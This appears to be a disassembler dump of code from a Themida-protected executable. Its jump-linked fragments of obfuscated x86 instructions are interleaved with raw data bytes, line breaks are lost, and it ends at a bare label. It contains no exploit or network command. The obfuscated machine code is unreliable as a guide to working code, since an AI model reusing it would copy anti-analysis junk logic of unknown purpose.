4D994E0Ah, 3368EB81h, 0E3C10B40h, 70F38107h, 89014174h dd 0F9295BDFh, 81243C8Bh, 4ECh, 24148900h, 0C281E289h dd 4, 4C281h, 0A6E90000h, 0BAFFFF97h, 4, 3EE9D601h db 5Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F237: ; CODE XREF: Themida_:0056360Dj mov ch, 3Ah not ch add ch, 0B4h xor dl, ch pop ecx xor dl, 0ABh mov bl, dl mov edx, [esp] add esp, 4 push 0B6Ch mov [esp], edx mov dh, 37h shl dh, 2 sub dh, 76h push 0 add byte ptr [esp], 17h jmp loc_5564E4 ; --------------------------------------------------------------------------- db 21h, 0C6h, 58h dd 3B5DC681h, 0C68110F8h, 2B98AC39h, 348BF301h, 4C48324h dd 2BFBC281h, 0DA013018h, 2BFBEA81h, 815B3018h, 0C950A4C2h dd 81FA0116h, 0C950A4EAh, 28EA8116h, 0FF370134h, 240C8B32h dd 4C481h, 34FF0000h, 89535A24h, 4C381E3h, 81000000h, 4C3h dd 241C8700h, 243AE9h, 77BF5700h, 0E9026E67h, 6228h ; --------------------------------------------------------------------------- loc_55F2D8: ; CODE XREF: Themida_:0055DEA7j xchg esi, [esp] pop esp push 5906h mov [esp], edi push edx sub esp, 4 mov [esp], esp jmp loc_55603B ; --------------------------------------------------------------------------- db 8Bh dd 89512434h, 4C181E1h, 81000000h, 4C1h, 240C8700h, 39B5E95Ch dd 0BB53FFFFh, 522515AFh, 490EB81h, 0C3813FE8h, 5174396Eh dd 22D8CB81h, 0CDE95DEEh db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F32B: ; CODE XREF: Themida_:0055F611j pop edi add esp, 4 shl eax, 2 push edx push eax push 213C6C58h pop eax mov edx, eax pop eax dec edx push eax mov eax, 5EA75DDFh or edx, eax pop eax and edx, 79A85939h shl edx, 1 jmp loc_56255F ; --------------------------------------------------------------------------- dd 0E0C05C04h, 88C20408h, 24048BC1h, 3170E9h, 4EC8300h dd 68240C89h, 7249BC35h, 0FF3E2BE9h, 81E589FFh, 4C5h, 4ED8300h dd 5C242C87h, 54242C89h, 8356525Dh, 2C8904ECh, 6CC36824h dd 815D7FBBh, 0AA44E2CDh, 1BB5341h, 1000000h, 241C8BDDh dd 4C481h, 0ED810000h, 61C555EBh, 0A06EE957h, 0C681FFFFh dd 4, 0FFA738E9h, 54B951FFh, 0F715EE62h, 0BAD3E9D1h, 0A2B4FFFFh dd 8858E130h, 0EAC059CAh, 46FCE908h, 0B966FFFFh, 6655729Ah dd 6640CEBDh, 1EC5F581h, 5DE92166h, 0FFA299E9h, 241487FFh dd 243C895Ch, 4BFh, 15FEE900h, 0EE810000h, 0B8E54C4Dh dd 34FFF289h, 5CE95E24h, 5FFFFFA9h, 1F00E9h, 8DEB8100h dd 8172A064h, 44693DEBh, 0BF82E94Ah, 5735FFFFh, 297E1237h dd 0C30158C3h, 7408C381h, 0EB815F08h, 299852FEh, 0FF7B5EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55F44D: ; CODE XREF: Themida_:00559AD5j or ecx, edi pop edi push edi mov edi, 1 jmp loc_5562C8 ; --------------------------------------------------------------------------- db 0FFh dd 0E99C2404h, 0FFFF385Fh, 0D224248Bh, 0E99C242Ch, 0FFFF3853h dd 7EBF6657h, 664F6615h, 9F5C781h, 66D7F766h, 8018EF81h dd 5FFA3166h, 5AD63166h, 7E6C166h, 7EEC166h, 345CE9h db 0 ; --------------------------------------------------------------------------- loc_55F499: ; CODE XREF: Themida_:0055A763j push edi mov edi, 0BBA3DDEh add edi, 3F293B10h jmp loc_55A7E3 ; --------------------------------------------------------------------------- dw 0C783h dd 243C3302h, 2C83E9h, 65B10500h, 0D2D19E4h, 898022C4h dd 24048BC5h, 641AE9h, 242C8900h, 756FCDBDh, 4EC8167h dd 89000000h, 6CE9240Ch db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F4DF: ; CODE XREF: Themida_:0055EA9Cj mov esp, [esp] mov [esp], edx mov edx, 29D36164h add [esp+4], edx pop edx mov eax, [esp] add esp, 4 jmp loc_567653 ; --------------------------------------------------------------------------- dw 0DDF7h dd 0CC27ED81h, 0E929E60Ch, 240C875Dh, 6A05E95Ch, 0BD550000h dd 5A0802h, 4246C01h, 939FE95Dh db 2 dup(0FFh) word_55F51E dw 8B66h ; DATA XREF: Themida_:00552C64o dd 0E9502404h, 3FBEh, 31241C33h, 1C33241Ch, 5F9CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F536: ; CODE XREF: Themida_:00564A42j sub ecx, 626640C9h jmp loc_5674FA ; --------------------------------------------------------------------------- db 81h, 0C3h, 58h dd 1747054h, 58EB81FBh, 81747054h, 0CF0F29C3h, 243C8B09h dd 4C481h, 0D2E90000h, 87FFFF6Ch, 0E4C381FBh, 0E93FFF56h dd 0FFFF90A3h, 0DAC2E957h, 0B951FFFFh, 98B5DBBDh, 0E959CE31h dd 0FFFFA79Ah, 53240489h, 286A17BBh, 0FFEB8328h, 0FFF422E9h db 0FFh ; --------------------------------------------------------------------------- loc_55F595: ; CODE XREF: Themida_:005566D8j pop esp add esp, 4 sub esp, 4 mov [esp], edx jmp loc_554FB1 ; --------------------------------------------------------------------------- loc_55F5AA: ; CODE XREF: Themida_:005651B7j sub ecx, edx jmp loc_554104 ; --------------------------------------------------------------------------- db 81h, 2Ch, 24h dd 65B647EFh, 0EFBF575Dh, 165B647h, 34FF5FFDh db 24h, 5Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], edx push edi mov edi, 4 mov edx, edi pop edi add ebp, edx pop edx xchg ebp, [esp] mov esp, [esp] mov ebx, 2D3E8679h sub ebx, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_55D0A4 ; --------------------------------------------------------------------------- loc_55F600: ; CODE XREF: Themida_:005660D6j xor edi, 4AE56CA7h xor edi, 215E1470h mov eax, edi push dword ptr [esp] jmp loc_55F32B ; --------------------------------------------------------------------------- word_55F616 dw 8368h ; DATA XREF: Themida_:00552A3Co dd 89000034h, 6855240Ch, 4CA30A8Dh, 6EDC15Dh, 73D7C581h dd 8957FECDh, 0E9F989EFh, 19B7h, 84E930FFh db 36h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F63F: ; CODE XREF: Themida_:0055D111j add esp, 4 add ebp, edx mov edx, [esp] jmp loc_553929 ; --------------------------------------------------------------------------- db 5Ch dd 3C8B5457h, 5D5AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F65A: ; CODE XREF: Themida_:0055CD38j push esi mov esi, 690A0C69h push edx mov edx, 6AE94C93h xor edx, 1F573219h and edx, 0C3825ADh inc edx and edx, 48EC0244h xor edx, 318F5729h xor edx, 1A281F4Dh sub esi, edx mov edx, [esp] add esp, 4 not esi push edx mov edx, 0D93F529Eh xor esi, edx pop edx jmp loc_559DC2 ; --------------------------------------------------------------------------- db 51h, 68h, 4 dd 0E9000000h, 0FFFFEE8Eh, 561CBF57h, 0F781470Bh, 134E240Bh dd 81C7E9h, 5AD18900h, 1F31E9h, 0C5815800h, 2C092B0Ah dd 57CCBF57h, 0BD550622h, 50C7F3C9h, 79E9EF31h db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F6DB: ; CODE XREF: Themida_:00554D7Bj add esp, 4 jmp loc_5671B1 ; --------------------------------------------------------------------------- dw 1489h dd 2474FF24h, 48F5A04h, 24248B24h, 2301E9h db 0 ; --------------------------------------------------------------------------- loc_55F6F9: ; CODE XREF: Themida_:00553791j pop esi sub ecx, edi push eax mov eax, 1EC44F35h push ebx mov ebx, 2505FAB8h add eax, ebx jmp loc_556F6E ; --------------------------------------------------------------------------- loc_55F70F: ; CODE XREF: Themida_:0056561Bj mov ecx, esp push eax jmp loc_5630DA ; --------------------------------------------------------------------------- db 47h dd 0FF3A4DE9h, 12C780FFh, 8004E7C0h, 0C7808FCFh, 0E9F83038h dd 19DAh aM0FsSv db '╛0ьfS╥%,вИ╒',27h,0 ; DATA XREF: Themida_:00552B34o align 2 loc_55F73E: ; CODE XREF: Themida_:00556FEAj sub esp, 4 mov [esp], ebx mov ebx, 4 jmp loc_563230 ; --------------------------------------------------------------------------- dw 4D2h dd 6CE99C24h, 5DFFFF35h, 28EBC681h, 0EE8126A2h, 591037F0h dd 6A11E9h db 0 ; --------------------------------------------------------------------------- loc_55F769: ; CODE XREF: Themida_:0055362Dj sub esp, 4 mov [esp], ebx jmp loc_556B05 ; --------------------------------------------------------------------------- dd 8B243487h, 50532424h, 2C8FBA52h, 0E2C17FB0h, 43F28106h dd 0C1243441h, 0C1E908E2h, 4DFFFFB5h, 0F581D5F7h, 73A35ADDh dd 0F918F581h, 0E8890054h, 0FF70DDE9h, 24048BFFh, 5304C483h dd 0A342FBBh, 0D3F74B75h, 0E905EBC1h, 547Bh, 5E94E58h dd 81FFFFCCh, 4C7h, 4BE5600h, 1000000h, 3431E9F7h, 58540000h dd 0FF7900E9h, 31D1F7FFh, 0D685E9C8h, 0D829FFFFh, 6368E9h db 0 byte_55F7F1 db 0ADh, 0E9h, 0DCh ; DATA XREF: Themida_:00552B60o dd 5AFFFF9Bh, 31241C33h, 1C33241Ch, 24248B24h, 0F66E9F6h dd 61E9CCB6h, 68000065h, 120h, 0E9243489h, 0FFFFCB24h dd 6E3D34BAh, 0BE565707h, 1A8904C2h, 815EF789h, 0D3A4C7EFh dd 5FFA09F6h, 0CDE9DAF7h, 81FFFF5Bh, 0B14BE2EEh, 0AC0E95Ch dd 0FE890000h, 46E9585Fh, 89FFFF36h, 4BA2414h, 0E9000000h dd 0FFFFBA75h, 2EBC158h, 0FFD35AE9h, 242C89FFh, 4BDh, 5DE80100h dd 0FFDEB7E9h, 242C89FFh, 0EA28F5BDh, 5400E96Dh, 0ACB80000h dd 97BE078h, 0C18158C1h, 80180518h, 1AFEEB81h, 0CB015F2Eh dd 1AFEC381h, 0BFE95F2Eh, 5000002Fh, 8D685055h, 5843D570h dd 0FFE64FE9h, 74FF56FFh, 8F5E0424h, 248B2404h, 386D6824h dd 2C890000h, 815D5424h, 4C5h, 4C58100h, 87000000h, 0FF5C242Ch dd 81592434h, 4ECh, 241C8900h, 0E951E389h, 0FFFF668Fh dd 0E9240489h, 26ACh, 0E95BDF01h, 0FFFFCD3Dh, 241C895Ch dd 2BBh, 619D6800h, 34890000h, 6035E924h, 0C781FFFFh, 0D2D2CEDh dd 3C8BF829h, 0BE0DE924h, 0EC83FFFFh, 240C8904h, 0BE565954h dd 3B1809CFh, 8106EEC1h, 0C255CCE6h, 8E6C10Dh, 8103EEC1h dd 8007CEEh, 8BF10118h, 0C4832434h, 7E086804h, 4890000h dd 99685324h, 8B39E938h, 9DE9241Ch, 29000005h, 4812404h dd 71FCF24h, 2404817Eh, 49160E1Ah, 0BC240481h, 8B73872Ch dd 82E92404h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55F983: ; CODE XREF: Themida_:005655DAj xor eax, esi xor esi, eax jmp loc_5641E5 ; --------------------------------------------------------------------------- aUsV db 'UИ',27h,'V',0 align 2 dw 0F781h dd 7DFF3F9Bh, 0A24F781h, 0EF811D99h, 3AB155E7h, 70E9FB89h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F9AB: ; CODE XREF: Themida_:0055B104j add esp, 4 add esp, 4 sub ebp, ecx push dword ptr [esp] pop ecx add esp, 4 jmp loc_5538E2 ; --------------------------------------------------------------------------- dw 0DAF7h dd 69B6E9h db 0 ; --------------------------------------------------------------------------- loc_55F9C9: ; CODE XREF: Themida_:005631F4j sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_562614 ; --------------------------------------------------------------------------- loc_55F9DC: ; CODE XREF: Themida_:005653A7j inc edx shr edx, 1 jmp loc_5650E0 ; --------------------------------------------------------------------------- loc_55F9E4: ; CODE XREF: Themida_:00558AB8j xchg ebp, [esp] pop esp push ecx mov ecx, 4 jmp loc_5665D4 ; --------------------------------------------------------------------------- db 29h dd 5E953D0h, 8100006Eh, 0DDE87AF5h, 7EBDE9FEh, 99050000h dd 5E101A2Ah, 31240433h, 4332404h, 28E95C24h, 30FFFFF5h dd 0F58058C5h, 80D5F6B8h, 0F580ECF5h, 0FFB353BDh, 24ED80h dd 24C580DDh, 0A9ED805Bh, 34FFEE00h, 0FAE95924h, 66FFFFA2h dd 5AD52859h, 0DBE9E830h, 58000031h, 8904EC83h, 74FF2434h dd 0E95E0424h, 3FD5h ; --------------------------------------------------------------------------- loc_55FA60: ; CODE XREF: Themida_:0055B72Aj mov ch, 0ACh mov bl, 7Dh add bl, ch jmp loc_553B0F ; --------------------------------------------------------------------------- loc_55FA6B: ; CODE XREF: Themida_:00561B81j add eax, 4 push ebx mov ebx, 3B446230h add ebx, 6EEE5054h push edi mov edi, 4F7A553Ah jmp loc_55DFEC ; --------------------------------------------------------------------------- db 5Ch dd 0FF3236E9h, 5BF828FFh, 3C047B04h, 0EC815B66h, 2, 0FF3E38E9h dd 1EB81FFh, 0F7000000h, 0A3F381DBh, 81BA17B4h, 0EF3189C3h dd 38E95200h, 29FFFFC0h, 0FDC181F1h, 0E944041Bh, 0FFFF556Ah dd 0E95DEE89h, 4604h ; --------------------------------------------------------------------------- loc_55FAD0: ; CODE XREF: Themida_:00556655j mov ecx, 9E42CFDh xor [esp+4], ecx pop ecx jmp loc_55A8F5 ; --------------------------------------------------------------------------- db 0B8h dd 4, 3358C229h db 14h byte_55FAE9 db 24h, 31h, 14h ; DATA XREF: Themida_:005550BCo dd 7898E924h, 0BD55FFFFh, 417E7C75h, 8246C29h, 0A2CE95Dh db 2 dup(0) word_55FB02 dw 8B66h ; DATA XREF: Themida_:00552B2Co dd 5451240Ch, 68A4E9h, 6EEC100h, 46D6F74Eh, 0BCB1C681h dd 0F7296EBCh, 7EFC15Eh, 92F6EF81h, 0FE09EDC8h, 88A0E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FB2E: ; CODE XREF: Themida_:0055906Cj add ebx, 4 sub ebx, 4 jmp loc_55E88A ; --------------------------------------------------------------------------- db 0B8h dd 524B43F3h, 68h, 0CE70E900h, 0B652FFFFh, 0C0DEF676h dd 0D76807E6h, 8900004Ch, 1BB42404h, 531CEC80h, 0FF3AC9E9h db 0FFh ; --------------------------------------------------------------------------- loc_55FB69: ; CODE XREF: Themida_:00559DE4j push dword ptr [edi+eax*4] push ebp jmp loc_55514E ; --------------------------------------------------------------------------- dw 0D1F7h dd 463BE981h, 0C18168CBh, 8E136C0h, 0EEE9E9D1h, 0E9FFFFA3h dd 0FFFF3137h, 4240481h, 5B000000h, 4C381h, 0EB830000h dd 74FF5304h, 0FBE90424h, 21FFFF37h, 24348BF1h, 81E68956h dd 4C6h, 4C68100h, 87000000h, 248B2434h, 2E1C124h, 2390E9h db 0 ; --------------------------------------------------------------------------- loc_55FBC9: ; CODE XREF: Themida_:0055A109j push ecx push esp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], edi push edx mov edx, 4 mov edi, edx pop edx jmp loc_562EAA ; --------------------------------------------------------------------------- db 5Dh dd 0FF5ECCE9h db 0FFh ; --------------------------------------------------------------------------- loc_55FBF1: ; CODE XREF: Themida_:005659A2j mov esi, esp add esi, 4 jmp loc_56550D ; --------------------------------------------------------------------------- loc_55FBFE: ; CODE XREF: Themida_:00565314j pop eax push ebx mov ebx, 12174302h and ecx, ebx pop ebx not ecx jmp loc_55A7C2 ; --------------------------------------------------------------------------- loc_55FC0F: ; CODE XREF: Themida_:005599BBj neg esi push ecx mov ecx, 35F20D57h add esi, ecx pop ecx add eax, esi pop esi sub eax, 7A0056B7h shl eax, 8 xor eax, 0A584FD9Eh xor edi, eax pop eax xor ebp, edi pop edi sub edx, 385F360Ah add edx, ebp jmp loc_564124 ; --------------------------------------------------------------------------- loc_55FC3D: ; CODE XREF: Themida_:00561286j xor ebx, edi mov edi, [esp] add esp, 4 jmp loc_556653 ; --------------------------------------------------------------------------- loc_55FC4A: ; CODE XREF: Themida_:00563E66j pop ecx not edi inc edi jmp loc_56760E ; --------------------------------------------------------------------------- db 57h dd 4BFh, 86EA8100h, 1003368h, 86C281FAh, 5F003368h, 3304C283h dd 8FE92414h db 5, 2 dup(0) byte_55FC73 db 66h ; DATA XREF: Themida_:00552BBCo dd 68240C8Bh, 6278h, 0E9240489h, 0FFFF3DF5h ; --------------------------------------------------------------------------- loc_55FC84: ; CODE XREF: Themida_:00561ACFj add ecx, 1A3176EAh sub eax, 69AF4FF0h add eax, ecx add eax, 69AF4FF0h pop ecx push ebx mov ebx, 4 add eax, ebx pop ebx xchg eax, [esp] mov esp, [esp] push edi jmp loc_55B3F7 ; --------------------------------------------------------------------------- loc_55FCAC: ; CODE XREF: Themida_:0056166Cj sub ebx, 4A7C1FD9h jmp loc_566339 ; --------------------------------------------------------------------------- db 89h dd 80E9241Ch db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FCBF: ; CODE XREF: Themida_:0055990Dj shl byte ptr [esp], cl pushf jmp loc_552CC3 ; --------------------------------------------------------------------------- dd 403DA22Dh, 5D8011Dh, 1D403DA2h, 7632BF57h, 0F82935C7h dd 0BF57525Fh, 414A013Ch, 3E9DBA52h, 0DAF71B2Bh, 1E6BE281h dd 0C28164F8h, 7C0A6825h, 33EFC281h, 0F3E97E65h, 31000064h dd 81555BDDh, 4F702404h, 81595473h, 734F70E9h, 242C8B54h dd 81E78957h, 4C7h, 4C78100h, 87000000h, 315C243Ch, 240C8BCDh dd 2904C483h, 2434FFE8h, 0B25FE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FD3E: ; CODE XREF: Themida_:0056023Dj push edi push ecx mov ecx, 5E124F2Eh jmp loc_55E5F9 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 83242489h, 0E9042404h, 4901h, 0D20D9C05h, 90A4E939h dd 0EC81FFFFh, 4, 88240C89h, 59EB88C5h, 8324048Bh, 9EE904C4h dd 53FFFFD8h, 0F0771A68h, 0F74B5B7Ch, 0E236E9D3h, 0E1C1FFFFh dd 75CAE903h, 0E9590000h, 0FFFFB610h ; --------------------------------------------------------------------------- loc_55FD9C: ; CODE XREF: Themida_:00554232j sub esp, 4 mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], ebx push edx push 4618321Fh pop edx not edx sub edx, 3B7E45B3h push edx not dword ptr [esp] pop edx sub edx, 47473475h mov ebx, edx pop edx push eax mov eax, 0C5B0BCA7h jmp loc_5646D3 ; --------------------------------------------------------------------------- db 59h, 56h, 0E9h dd 0FFFF3357h, 95D2E95Eh, 0E95CFFFFh, 0FFFF887Dh, 1778E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FDEE: ; CODE XREF: Themida_:0055C041j shl edx, 3 push esi mov esi, 7CF927E6h dec esi add esi, 0ABA05A9h and esi, 680E199Bh push ebx mov ebx, 264660F7h xor esi, ebx pop ebx inc esi jmp loc_55F116 ; --------------------------------------------------------------------------- loc_55FE13: ; CODE XREF: Themida_:00563A5Fj push ecx jmp loc_5609EC ; --------------------------------------------------------------------------- align 2 aSv_0 db 'сИv{',0 align 10h loc_55FE20: ; CODE XREF: Themida_:00557F15j mov ecx, 41041D5Fh xor ecx, 111D7B52h push esi mov esi, ecx jmp loc_552DC6 ; --------------------------------------------------------------------------- db 29h dd 16055AD0h, 2D6EFA38h, 28A407C5h, 24043359h, 33240431h dd 248B2404h, 48B6624h, 0DD06824h, 4890000h, 0E9585424h dd 0FFFF8E15h, 0BD9BEF81h, 0FB01F8EDh, 0E954535Fh, 2873h dd 8704C783h, 0D4E9243Ch, 33FFFFF7h, 8DE9240Ch, 0FF000005h dd 74E92434h, 81FFFF8Eh, 321FE6h, 0CE814656h, 0CC5199h dd 2B98BF57h, 2AE912E6h, 81FFFF33h, 35432AE9h, 0E9CD31E4h dd 0FFFF94D0h, 6C04E952h, 6F68FFFFh, 8900000Fh, 0CAE92414h dd 8100004Eh, 5F47242Ch, 42916A9h, 24048124h, 16A95F47h dd 6B240481h, 8166534Eh, 19F42404h, 0EC8344DFh, 24048904h dd 951E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55FEEE: ; CODE XREF: Themida_:0055410Bj push ecx jmp loc_55500C ; --------------------------------------------------------------------------- loc_55FEF4: ; CODE XREF: Themida_:00566151j sub ecx, 1 add ecx, 0FFFFFFFFh push ebx jmp loc_557C0F ; --------------------------------------------------------------------------- dd 4C481h, 0EBC10000h, 0E9DBF704h, 0FFFF54DBh, 0C380D328h dd 24148BDFh, 4C481h, 5AE90000h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FF23: ; CODE XREF: Themida_:0055468Fj mov ebx, 5EBD5867h or ebx, 1BFB6B13h inc ebx push edx mov edx, 4227049h jmp loc_565A7C ; --------------------------------------------------------------------------- dw 489h dd 0E54AE924h, 0C483FFFFh, 4EC8104h, 89000000h, 9ABD242Ch dd 4D237A40h, 7F2068h, 24348900h, 4EC8355h, 0E9240489h dd 5C7Ah, 55240C89h, 0DC0807BDh, 0EB895376h, 3AE9D989h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55FF7B: ; CODE XREF: Themida_:00554A0Dj pop edi pop dword ptr [esp] mov esp, [esp] loc_55FF82: ; CODE XREF: Themida_:0055BEA8j push 2E01h jmp loc_5659A7 ; --------------------------------------------------------------------------- dd 2B685552h, 5D56F865h, 24D7F581h, 0EA89529Eh, 0BBF2815Dh dd 557DE24Fh, 0C71EB8BDh, 0E1F8E929h, 665CFFFFh, 0E99CC885h dd 0FFFFF17Bh ; --------------------------------------------------------------------------- loc_55FFB8: ; CODE XREF: Themida_:00563BB9j jmp loc_552CC3 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 81000000h, 4D062404h, 40161E9h, 242C8124h, 61E94D06h dd 14B768h, 240C8900h, 0C1815954h, 4, 8704E983h, 248B240Ch dd 24048924h, 0FFEFFDE9h, 434505FFh, 4DE90558h, 1000023h dd 835F5AD1h, 0BBE902C1h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56000B: ; CODE XREF: Themida_:005534C1j add eax, ebx pop ebx push eax sub dword ptr [esp], 41A34EDBh pop edx add edx, 41A34EDBh mov eax, [esp] add esp, 4 dec edx sub edx, 43AC22E3h and eax, edx push dword ptr [esp] jmp loc_55917A ; --------------------------------------------------------------------------- loc_560037: ; CODE XREF: Themida_:00567609j push ecx jmp loc_561EAD ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 33241431h, 248B2414h, 8F36824h, 0C890000h, 48685324h dd 0E90F4217h, 7Dh ; --------------------------------------------------------------------------- loc_56005C: ; CODE XREF: Themida_:0055D42Dj push edi mov edi, 3D160A76h shl edi, 8 jmp loc_55AA32 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48124h, 68000000h, 2A65h, 0E9241C89h, 0DC1h, 0D2A6E950h dd 0E959FFFFh, 0FFFFEA81h, 362518BFh, 4EC814Bh, 89000000h dd 0B850242Ch, 527D265Ah, 482DD0F7h, 0E947447Bh, 0FFFFF409h dd 405h, 4C08300h, 0E9240487h, 0FFFF389Ah ; --------------------------------------------------------------------------- loc_5600BC: ; CODE XREF: Themida_:00556465j sub esi, 6FBA5065h push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_5534E5 ; --------------------------------------------------------------------------- db 5Bh, 50h, 89h dd 5F3E9E0h, 0DCE90000h db 2Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5600E7: ; CODE XREF: Themida_:0055D075j mov esp, [esp] mov [esp], eax jmp loc_552CC3 ; --------------------------------------------------------------------------- loc_5600F2: ; CODE XREF: Themida_:005537C2j pop dword ptr [esp] pop esp xor [esp], eax pushf jmp loc_552CC3 ; --------------------------------------------------------------------------- db 5Ch dd 240CFF66h, 2BB9E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56010A: ; CODE XREF: Themida_:005552CAj xor esi, ebx jmp loc_55CCF9 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0F9h dd 56EA752h, 9158AD0Bh, 4754E9h db 0 ; --------------------------------------------------------------------------- loc_560121: ; CODE XREF: Themida_:0056348Cj add ebp, eax jmp loc_55EB33 ; --------------------------------------------------------------------------- dd 24048F59h, 8924248Bh, 0E2892414h, 2A0EBE56h, 0BA683C3Dh dd 89000014h, 5EBD242Ch, 31546667h, 242C8BEEh, 4C481h dd 0C6810000h, 6862033Dh, 8107E6C1h, 0A8467CEEh, 0E9F2015Eh dd 0FFFFB12Bh ; --------------------------------------------------------------------------- loc_560168: ; CODE XREF: Themida_:0055DD9Fj push esi jmp loc_564317 ; --------------------------------------------------------------------------- loc_56016E: ; CODE XREF: Themida_:00555784j and eax, edx mov edx, [esp] add esp, 4 shr eax, 0Ch xor eax, ecx push 7FCCh mov [esp], eax jmp loc_55747E ; --------------------------------------------------------------------------- dd 3576CA81h, 0EDE976EAh, 83FFFF78h, 555004C4h, 0D258CE68h dd 0ED815D2Bh, 29E610BCh, 0DDEAED81h, 0E889EB6Eh, 0D3EFE95Dh dd 3C8BFFFFh, 4C48324h, 0CC10E82Dh, 56F00152h, 0C06731BEh dd 8FE68110h, 81628535h, 4C35E9F6h, 5EF00152h, 0FFD7F6E9h dd 24248BFFh, 54242C89h, 4C5815Dh, 68000000h, 4A97h, 0E9243489h dd 0FFFF89C5h, 8704C683h, 885C2434h, 0DA77E9EEh, 1431FFFFh dd 24143324h, 0FFB00AE9h db 0FFh byte_56020D db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552AA4o aSxa db '$И∙a',0 align 2 dw 487h dd 0A0E0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56021E: ; CODE XREF: Themida_:005579DCj shr edi, 6 add edi, 71B7860Dh add edx, edi pop edi pop edi jmp loc_557A5C ; --------------------------------------------------------------------------- dd 24148B5Ch, 0C43E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56023A: ; CODE XREF: Themida_:00553CA8j add esp, 4 jmp loc_55FD3E ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0FF240489h, 8B042474h, 0C4832404h, 0AECDE904h, 0C381FFFFh dd 4, 8704C383h, 835C241Ch, 148904ECh, 57E28924h, 19B9E9h dd 52BE5600h, 8153B201h, 7F38F5F6h, 0E4EE817Fh, 0F7246373h dd 6EEC1D6h, 0C681D6F7h, 26C8C6A1h, 815EF221h, 372EEDC2h dd 0DAF2813Eh, 0F70EFB2Eh, 92EA81DAh, 2141E48Dh, 24148BD7h dd 0FF4437E9h, 0C8B66FFh, 2C48124h, 0E9000000h, 0FFFFF88Ah ; --------------------------------------------------------------------------- loc_5602C4: ; CODE XREF: Themida_:0055B84Ej or ebp, 181965E7h xor ebp, offset sub_42106B push esi mov esi, 0AD951DF0h xor ebp, esi jmp loc_561D49 ; --------------------------------------------------------------------------- aBuV db '│Нпv',0 dw 5863h dd 0FFC95FE9h, 590205FFh, 0FE686A48h, 0E9000048h, 0FFFF76A1h dd 4C681h, 34870000h, 5F19E924h, 0C681FFFFh, 21E88183h dd 4CE9F001h, 5F000001h, 3304C583h, 2C31242Ch, 242C3324h dd 0E924248Bh, 0FFFF6727h, 6319C781h, 0DF2902D2h, 6319EF81h dd 1C8B02D2h, 4C48124h, 0FD000000h, 4C5768h, 241C8900h dd 0E7946BBh, 0E7895747h, 0FFC147E9h, 81E289FFh, 4C2h dd 75BAE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560362: ; CODE XREF: Themida_:0055A7BDj add esp, 4 sub esp, 4 jmp loc_55A10E ; --------------------------------------------------------------------------- loc_560370: ; CODE XREF: Themida_:00561BBFj pop edi xor ecx, edx jmp loc_55A749 ; --------------------------------------------------------------------------- loc_560378: ; CODE XREF: Themida_:00557EE8j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55BDC5 ; --------------------------------------------------------------------------- loc_560387: ; CODE XREF: Themida_:00563F1Ej mov ebx, esp add ebx, 4 jmp loc_55DD7D ; --------------------------------------------------------------------------- dd 4C481h, 0F3800000h, 0F7CB8035h, 0EC81CBFEh, 4, 0B1240C89h dd 0EEEB80B3h, 2876EB80h, 76C380CBh, 0E9EEC380h, 0FFFF7694h dd 0CB4B9CB8h, 3337357Ch, 0E8E97291h, 89FFFF29h, 6C3158C5h dd 6FE90424h, 5900005Ch, 4C181h, 50E90000h, 0FFFFFFDFh dd 3EE92434h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 add ebp, eax pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp jmp loc_55A483 ; --------------------------------------------------------------------------- dd 0E9240C31h, 0FFFFD3C3h ; --------------------------------------------------------------------------- loc_560418: ; CODE XREF: Themida_:0055D8DFj push edi mov edi, esp push ebp push eax mov eax, 1D6A04BBh mov ebp, eax pop eax dec ebp xor ebp, 72F53D45h add ebp, 5A7320D2h jmp loc_559E6B ; --------------------------------------------------------------------------- loc_560437: ; CODE XREF: Themida_:005571F0j mov ecx, [esp] add esp, 4 push edi push ecx mov ecx, 0FF70B09h push ebx push 251A620Bh pop ebx xchg esi, ebx not esi xchg esi, ebx xor ebx, 8604CFDDh jmp loc_565BB1 ; --------------------------------------------------------------------------- db 0FFh dd 28E92434h db 0A5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560467: ; CODE XREF: Themida_:005549C1j add esp, 4 push edi mov edi, 45AE3BB3h jmp loc_56087F ; --------------------------------------------------------------------------- loc_560478: ; CODE XREF: Themida_:00560980j 